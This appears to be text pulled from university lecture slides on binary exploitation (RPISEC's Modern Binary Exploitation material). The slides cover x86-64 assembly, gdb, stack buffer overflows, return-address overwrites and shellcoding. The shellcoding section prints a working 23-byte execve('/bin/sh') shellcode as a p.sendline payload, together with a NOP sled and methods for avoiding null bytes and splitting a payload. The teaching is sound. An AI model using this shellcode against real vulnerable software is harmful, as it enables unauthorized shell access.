Professional Documents
Culture Documents
[Sep 2021] Modern Binary Exploitation
[Sep 2021] Modern Binary Exploitation
[Sep 2021] Modern Binary Exploitation
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 1
Syllabus
https://www.cs.rpi.edu/~milanova/csci4967/index.
html
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 2
WarGames
★ If you haven’t signed up yet, please do
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 3
Submitty Forum
★ Discussion forum
○ Sometimes I post announcements there
○ Ask questions
○ Get extra help too
Note: Everyone should have access to Submitty
now. Let me know if you lose access again
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 4
Announcements and Reminders
• No office hours today
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 5
Outline
1. WarGames: a brief demo
2. x86-64, again
3. Disassembly and Control Flow Graph (CFG)
4. Debugging
5. Storage, again
6. Let’s play in the sandbox!
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 6
WarGames
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 7
Outline
1. WarGames: a brief demo
2. x86-64, again
3. Disassembly and Control Flow Graph (CFG)
4. Debugging
5. Storage, again
6. Let’s play in the sandbox!
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 8
Bits and Stuff
Processors speak binary
11111001110111
10101101101001
#include <stdio.h> 01000011001011
01111111100111
int main() { 00000101011111
printf("Hello world\n"); 11100110111101
} 01000001101000
Compiler
Hello world
( gcc, clang )
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 9
x86-64(!) Crash Course
Instructions: op dst, src
mov rax, 0x11 <-> (rax=0x11) <-> 48 c7 c0 11 00 00 00
add rbx, 0x11 <-> (rbx+=0x11) <-> 48 83 c3 11
sub rcx, rdx <-> (rcx-=rdx) <-> 48 01 d1
xor rcx, 0x12 <-> (rcx^=0x12) <-> 48 83 f1 12
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 10
x86 Crash Course
Can operate on specific part of register
bits x86 mnemonic C type
long
64 QWORD
rax long
ax
16 WORD short
same for rbx, rcx, rdx
ah al
8 BYTE char
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 11
Memory
Read: mov rax, QWORD PTR [rbx] (rax=*rbx)
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 12
Special Registers
There are some registers used for important things
RIP - Instruction Pointer
RFLAGS - flags used for conditional operations
RSP - Stack Pointer
RBP - Base Pointer
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 13
Conditional Jumps
• cmp destination, source
• jz LOC
• Jump to LOC if ZF = 1 (zero flag)
• jnz LOC
• Jump to LOC if ZF = 0
• jg LOC
• Jump to LOC if the result of a comparison cmp dest, src (the
comparison must come before jg) is dest > src
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 14
Let’s look a little closer at cmp
• What exactly does the cmp instruction do?
• How does the CPU know how to use the results
of the cmp instruction to make a jump decision?
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 15
Do some math, ignore results
• cmp internally does a sub
• The sub sets RFLAGS based on that sub
• However, the result is thrown away so no other
registers get updated
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 16
Very quick reminder...
The ret2.sys platform uses Intel assembly syntax.
However, gcc uses AT&T assembly syntax.
Most notably, src and dst are reversed in AT&T syntax
AT&T:
opcode src, dst
Intel:
opcode dst, src
Both implicitly use dst as a destination AND as an operand
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 17
Quick example
• movq $4, %rax
• movq $4, %rbx
• cmpq %rbx, %rax
– Internally does sub %rbx, %rax
– Sets RFLAGS (ZF, importantly for us in this case)
– Throws away the result of the sub
• jz LOC
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 18
Stack Frames
- RBP and RSP define a stack frame for the currently executing
note: for 64bit, each
function 'slot' is 8 bytes
– local variables
– pointer to previous frame
– return address
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 19
Stack Frames Can Be Tricky...
• Stack grows down, heap grows up
• rbp = base pointer
– Easy way to remember: rbp = bottom of stack frame
• rsp = stack pointer
– Top of stack
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 20
Another C Example
int main(int argc, char *argv[])
{
int a, b, c, d;
a = 16;
b = 32;
c = 64;
d = 128;
return 0;
}
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 21
Might Become in Assembly...
main:
pushq %rbp
movq %rsp, %rbp
subq $48, %rsp
…
movl $16, -4(%rbp)
movl $32, -8(%rbp)
movl $64, -12(%rbp)
movl $128, -16(%rbp)
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 22
Which as an object might look...
…
movl $0x10, 0xfffffffffffffffc(%rbp)
movl $0x20, 0xfffffffffffffff8(%rbp)
movl $0x40, 0xfffffffffffffff4(%rbp)
movl $0x80, 0xfffffffffffffff0(%rbp)
…
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 23
Confused yet?
• x86/x64 is the worst assembly of all time, ever
• It takes a while to fully grok
• We’ll spend a good bit of time reading assembly
as it’s all practice
• We’ll spend a good bit of time reading C as well
• … examining memory and registers too, so stack
management and stack layout is super important
too!
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 24
Outline
1. WarGames: a brief demo
2. x86-64, again
3. Disassembly and Control Flow Graph (CFG)
4. Debugging
5. Storage, again
6. Let’s play in the sandbox!
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 25
Disassembly and CFGs
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 26
CFG
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 27
WarGames
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 28
Outline
1. WarGames: a brief demo
2. x86-64, again
3. Disassembly and Control Flow Graph (CFG)
4. Debugging
5. Storage, again
6. Let’s play in the sandbox!
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 29
Dynamic vs. Static Analysis
• Static:
– Look at a binary and figure out what it’s doing
– Opening it in Ida, Binary ninja, and examining the
disassembly on WarGames
• Dynamic:
– Trying to figure out what is happening while running it
– Using gdb, or the WarGames basically gdb
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 30
Pictures are cool
Binary
File Process, t=0 Process, t=1 Process, t=2
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 31
Static
• You need all the stuff we just recapped to be
able to look at the assembly and figure out what
it is doing
• Essentially, you are reading the program binary
while it is just sitting on your hard drive
– It’s not running, so it’s not doing anything
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 32
Dynamic
• Watching the binary do its work in real-time and
keeping track of registers, variables, etc.
• Tools like gdb are very good for this
– There is a gdb-like debugger called wdb on the ret2.sys
platform
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 33
gdb - GNU Debugger
Basic usage
• gdb ./binary
• (r)un
• (b)reakpoint [address | symbol]
• (c)ontinue
• (ni) step over
• (si) step into
• (disas)semble [address | symbol]
• (bt) backtrace
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 34
gdb - Examining memory
x/FUN [address]
- F = format
- U = unit
- N = number
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 35
WarGames
SUPER IMPORTANT!!!
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 36
Outline
1. WarGames: a brief demo
2. x86-64, again
3. Disassembly and Control Flow Graph (CFG)
4. Debugging
5. Storage, again
6. Let’s play in the sandbox!
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 37
Background
• What happens when you do
goldschmidt $ ./opsyshw1
• It will fork() and call execve(‘./opsyshw1’, args, env)
• The kernel will create the necessary context for the new
process (address space, kernel structures, threads, etc.)
• We really only care about how it sets up the address space
for now
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 38
Background
0x000000
Runtime Memory
• Starts off like this
<binary>
<heap>
<stack>
<kernel>
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 39
Background
• The first code that will be
0x000000
Runtime Memory
executed in userspace is the
dynamic loader <binary>
• The dynamic loader will load any
shared libraries into the process <heap>
ld-linux.so
<shared libraries>
<stack>
<kernel>
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 40
Background
• After shared libraries have been
0x000000
Runtime Memory
loaded, execution will continue
from the _start symbol in the binary <binary>
• The role of _start is to call
the __libc_start_main function <heap>
<shared libraries>
<stack>
<kernel>
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 41
PLT, GOT
• How does binary know where functions like printf,
_libc_start_main, and so on are
• So when you call a function the compiler generates a call
instruction into a stub in the PLT section of the binary instead of
directly calling into the library
08048310 <__libc_start_main@plt>:
8048310: jmp *0x804a014
8048316: push $0x10
804831b: jmp 0x80482e0
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 42
PLT
• This stub is in the plt - Procedure Linkage Table
– This checks if the function address has been resolved yet
– If not it resolves it and stores it in the GOT
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 43
GOT
• Stands for Global Offset Table
• Stores resolved addresses
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 44
Background
__libc_start_main()
• args: address of main, argv, init, fini, rtld_fini, and the stack
• calls various initialization related functions
• sets up the constructor and destructor for the program
• ends with something like:
result = main(argc, argv, envp);
exit(result);
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 45
Misc Stuff
• x64 stores things as little endian (if you even
remember comp org)
– the least significant byte first
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 46
Let’s play in the sandbox
We did the first couple of “lecture” tutorial
together, Crackme is on you to figure out!
09/14/2021
RPISEC - 02/6/2019 MemoryCorruption
Memory Corruption 1
Outline
1. Stack frames, again
2. Linux x86-64 calling conventions
3. Stack smashing 101: buffer overflows
4. Stack smashing 201: return address override
5. Let’s play in the sandbox!
09/14/2021
RPISEC - 1/23/2019 Memory Corruption
MBE - Overview 2
What does a computer do?
Computers act on memory
– Code and data are just bytes in memory
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 3
Stack Frames, Again
- RBP and RSP define a stack frame for the currently executing
note: for 64bit, each
function
'slot' is 8 bytes
– local variables
– pointer to previous frame
– return address
09/14/2021
RPISEC - 02/6/2019 MemoryCorruption
Memory Corruption 5
x64 Calling Convention
- Fastest way to pass arguments from caller
function to callee function, is in registers
- x86_64 arguments:
- 1st arg : rdi
- 2nd : rsi
- 3rd : rdx
- then rcx, r8, r9, pushed on stack
- Return value in rax
09/14/2021
RPISEC - 1/23/2019 Memory Corruption
MBE - Overview 6
Telephone Exercise
09/14/2021
RPISEC - 02/6/2019 MemoryCorruption
Memory Corruption 7
Outline
1. Stack frames, again
2. Linux x86-64 calling conventions
3. Stack smashing 101: buffer overflows
4. Stack smashing 201: return address override
5. Let’s play in the sandbox!
09/14/2021
RPISEC - 1/23/2019 Memory Corruption
MBE - Overview 8
What is corruption?
• So what happens if a programer makes a simple
mistake:
char foo[64];
long long money = 0;
gets(foo);
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 9
gets()?
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 10
Stack Smashing 101
Lower Memory - Start of
main() has a char foo[64]
-
stack frame
-
-
- Return address
-
- End of foo
0x00 money = 0
Not supposed
0x7fff01020304 Base pointer
to touch
Higher Memory 0x40051f RETURN ADDRESS
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 11
Stack Smashing 101
Lower Memory
As gets() continues to 0x4141414141414141 Start of
char foo[64]
read input, we fill up 0x4141414141414141
0x4141414141414141
0x4141414141414141
0x4141414141414141
0x00 money = 0
Not supposed
0x7fff01020304 Base pointer
to touch
Higher Memory 0x40051f RETURN ADDRESS
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 12
Stack Smashing 101
Lower Memory
As gets() continues to 0x4141414141414141 Start of
char foo[64]
read input, we fill up 0x4141414141414141
0x4141414141414141
go far enough, it 0x4141414141414141
corrupts important
0x4141414141414141
data
0x4141414141414141 End of foo
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 13
Stack Smashing 101
• We can give ourselves money
• If we want to set money to 0x1337beef we need to
know:
– Most x86 machines are little endian (little byte goes first)
– Meaning the byte order for numbers is "backwards" in memory
– 0x01020304 would be
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 14
p64(n) and u64(s) in Python
# Pack integer 'n' into a 8-Byte representation
def p64(n): ...
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 15
p64(n) and u64(s) in Python
# Pack integer 'n' into a 8-Byte representation
def p64(n): ...
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 16
p64(n) and u64(s) in Python
# Unpack 8-Byte-long string 's' into a Python integer
def u64(s): ...
• E.g., we need to send a decimal input
• We know what the expected byte sequence is: e.g.,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41 or
AAAAAAAA
We can convert ourselves, then
p.sendline(4702111234474983745) or
p.sendline(u64(‘AAAAAAAA’))
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 17
p64(n) and u64(s) in Python
# Unpack 8-Byte-long string 's' into a Python integer
def u64(s): …
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 18
Corruption Exercise
09/14/2021
RPISEC - 02/6/2019 MemoryCorruption
Memory Corruption 19
Stack Smashing 201
• What else can we corrupt?
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 20
Stack Smashing 201
int func() {
puts("Hello World");
return 17;
}
int main() {
int res = func();
return 0;
}
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 21
Stack Smashing 201
Before the call:
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 22
Stack Smashing 201
Before the call: After the call:
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 23
Stack Smashing 201
Returning just takes whatever is on the top of the stack,
and jumps there, equivalently: pop rip
About to return:
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 24
Stack Smashing 201
Returning just takes whatever is on the top of the stack,
and jumps there, equivalently: pop rip
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 25
Stack Smashing 201
Returning just takes whatever is on the top of the stack,
and jumps there, equivalently: pop rip
What
About to return:if we change Returned
this???back to main:
?!?!?!?
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 26
Stack Smashing 201
Lower Memory 0x4141414141414141 Start of
Without corruption: char foo[64]
0x4141414141414141
– At the end of the function, it
0x4141414141414141
returns
– 0x40051f is popped off the 0x4141414141414141
0x00 money = 0
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 27
Stack Smashing 201
Lower Memory 0x4141414141414141 Start of
Corrupted: char foo[64]
0x4141414141414141
– At the end of the function, it
0x4141414141414141
returns
– 0x4141414141414141 is 0x4141414141414141
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 28
Return Exercise
09/14/2021
RPISEC - 02/6/2019 MemoryCorruption
Memory Corruption 29
Next Week
Next week:
• Shellcoding
Next class:
• Ch 3 Level 1 due
• Finish up Ch 3 Level 1, continue work on Levels 2-3
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 30
a31729989z
09/14/2021
RPISEC - 1/30/2019 Memory
MBE Corruption
- Reverse Engineering 31
a31729989z
09/14/2021
RPISEC - 1/30/2019 Memory
MBE Corruption
- Reverse Engineering 32
Outline
1. Stack frames, again
2. Linux x86-64 calling conventions
3. Stack smashing 101: buffer overflows
4. Stack smashing 201: return address override
5. Let’s play in the sandbox!
09/14/2021
RPISEC - 1/23/2019 Memory Corruption
MBE - Overview 33
Lecture Selanjutnya
Shellcoding
(Next Week: Stack Cookies)
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 1
Announcements
• Ch. 2 grades are on Submitty
• Oct. 26 is a catch-up lab, if you run out of time
– Still, make sure that you complete at least Levels 1 and 2
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 2
Outline
1. Recap
2. Injecting code
3. System calls and execve
4. Injecting code under constraints
a. Size constraints
b. Null bytes
c. Splitting
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 3
Recap
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 4
Compilation
#include <stdio>
int main() {
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 5
Compilation
Source Code
push rbp
mov rsp, rbp
lea 0x9f(rip), rdi
call puts@plt
mov
pop
0x0, eax
rbp
Assembly
ret
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 6
Compilation
• Code is data! Source Code
Assembly
55
48 89 e5
48 8d 3d 9f 00 00 00
e8 c6 fe ff ff
b8
5d
00 00 00 00
Machine Code
c3
66 2e 0f 1f 84 00 00
0f 1f 44 00 00
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 7
Runtime Memory
.rodata
• Program Code in .data
– .text
– libraries [heap]
libraries
(libc…)
[stack]
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 8
Runtime Memory
.rodata
• Program Code .data
– .text
– libraries [heap]
• User Data
– stack
– heap libraries
(libc…)
[stack]
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 9
Overflows 101
// generate a secure, one time
password for the admin
char admin_password[64] = {};
generate_otp(admin_password,
sizeof(admin_password)
);
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 10
Overflows 101
// generate a secure, one time
password for the admin
char admin_password[64] = {};
generate_otp(admin_password,
sizeof(admin_password)
);
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 11
Overflows 101
// generate a secure, one time
password for the admin
char admin_password[64] = {};
generate_otp(admin_password,
user_password 32 bytes
sizeof(admin_password)
);
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 12
Overflows 101
// generate a secure, one time
password for the admin
char admin_password[64] = {};
generate_otp(admin_password,
Us
er
user_password 32 bytes
sizeof(admin_password) Co
); nt
ro
// prompt the user for their
ll
ed
password
char user_password[32] = {};
printf("Enter password: "); admin_password 64 bytes
fgets(user_password,
strlen(admin_password),
stdin
);
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 13
Shellcoding
Code Injection 101
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 14
Win Functions
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 15
What if There’s No Win Function
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 16
Shellcoding
Shellcode: A small piece of (machine)
code used as the payload in the
exploitation of a software vulnerability
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 17
------------------------------------------------------------ Runtime Memory
--[ Lecture 3 - Memory Corruption
------------------------------------------------------------
Enter data: .text
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
.rodata
.data
[heap]
libraries
(libc…)
p.sendline(“AAAAA...")
AAAAAAAAAAA
[stack]
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 18
------------------------------------------------------------ Runtime Memory
--[ Lecture 3 - Memory Corruption
------------------------------------------------------------
Enter data: .text
>> \x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x56\x53...
.rodata
.data
[heap]
libraries
(libc…)
p.sendline(“\x31...")
\x31\xf6...
[stack]
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 19
Writing Shellcode
• Any valid C can be rewritten in shellcode
• Payloads typically need to be tweaked to make them
– More space efficient
– Avoid null bytes
– Avoid other constraints
• Machine code can be generated with online assemblers
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 20
Size Constraints
mov rdi, rax (\x48\x89\xC7)
becomes
push rax
pop rdi (\x50\x5f)
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 21
NOP Slides (nop = \x90)
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 22
NOP Slides
• NOP Instruction \x90
• Can come in handy, e.g.,
shellcode, part1
\x90\x90…\x90
shellcode, part2
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 23
Injection (on Wargames)
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 24
Outline
1. Recap
2. Injecting code
3. System calls and execve
4. Injecting code under constraints
a. Size constraints
b. Null bytes
c. Splitting
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 25
System Calls
• Low level interface to kernel
• Syscalls enable:
– filesystem operations
– memory operations
–
–
file/socket IO
etc. ...
A full list can be
found here
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 26
sys_execve
How can we recreate system("/bin/sh")?
Set registers:
syscall
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 27
execv Shellcode
Smallest shellcode (that we know) to xor esi,esi
movabs
rbx,0x68732f2f6e69622f
1. Set registers push rsi
push rbx
2. Perform syscall push
pop
rsp
rdi
23 bytes
push 0x3b
pop rax
xor edx,edx
syscall
p.sendline("\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05")
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 28
Internet Stranger’s Shellcode
Why write shellcode when you can steal borrow it
• shell-storm.org has shellcode for
– Most common use cases
– Most common architectures
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 29
execv (on Wargames)
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 30
Outline
1. Recap
2. Injecting code
3. System calls and execve
4. Injecting code under constraints
a. Size constraints
b. Null bytes
c. Splitting
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 31
Null Bytes
fgets terminates the sequence with a null byte.
strncpy (among others) stops reading at \x00
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 32
ASCII Shellcode
What if the system is only
expecting printable bytes?
• Harder, but still doable
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 33
nullfree (on Wargames)
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 34
Split Shellcode
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 35
Split Shellcode
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 36
Split Shellcode
password 15 bytes
char user_name[15] = {0};
int user_id = generate_random_id();
char password[15] = {0};
user_id 4 bytes
fgets(user_name, 15, stdin);
fgets(password, 15, stdin);
user_name 15 bytes
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 37
Split Shellcode
xor esi,esi
movabs
password 15 bytes
char user_name[15] = {0}; rbx,0x68732f2f6e69622f
int user_id = generate_random_id(); push rsi
s
char password[15] = {0}; push rbx
te
user_id 4 bytes push rsp
by
fgets(user_name, 15, stdin); pop rdi
fgets(password, 15, stdin); push 0x3b
23
user_name 15 bytes pop rax
xor edx,edx
syscall
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 38
Program Unhackable???
15 < 23
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 39
Split Shellcode
xor esi,esi
movabs rbx,0x68732f2f6e69622f
15 bytes push rsi
char user_name[15] = {0};
password jmp 0x5
int user_id = generate_random_id();
char password[15] = {0};
user_id 4 bytes
fgets(user_name, 15, stdin);
fgets(password, 15, stdin);
user_name 15 bytes
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 40
Split Shellcode
xor esi,esi
movabs rbx,0x68732f2f6e69622f
15 bytes push rsi
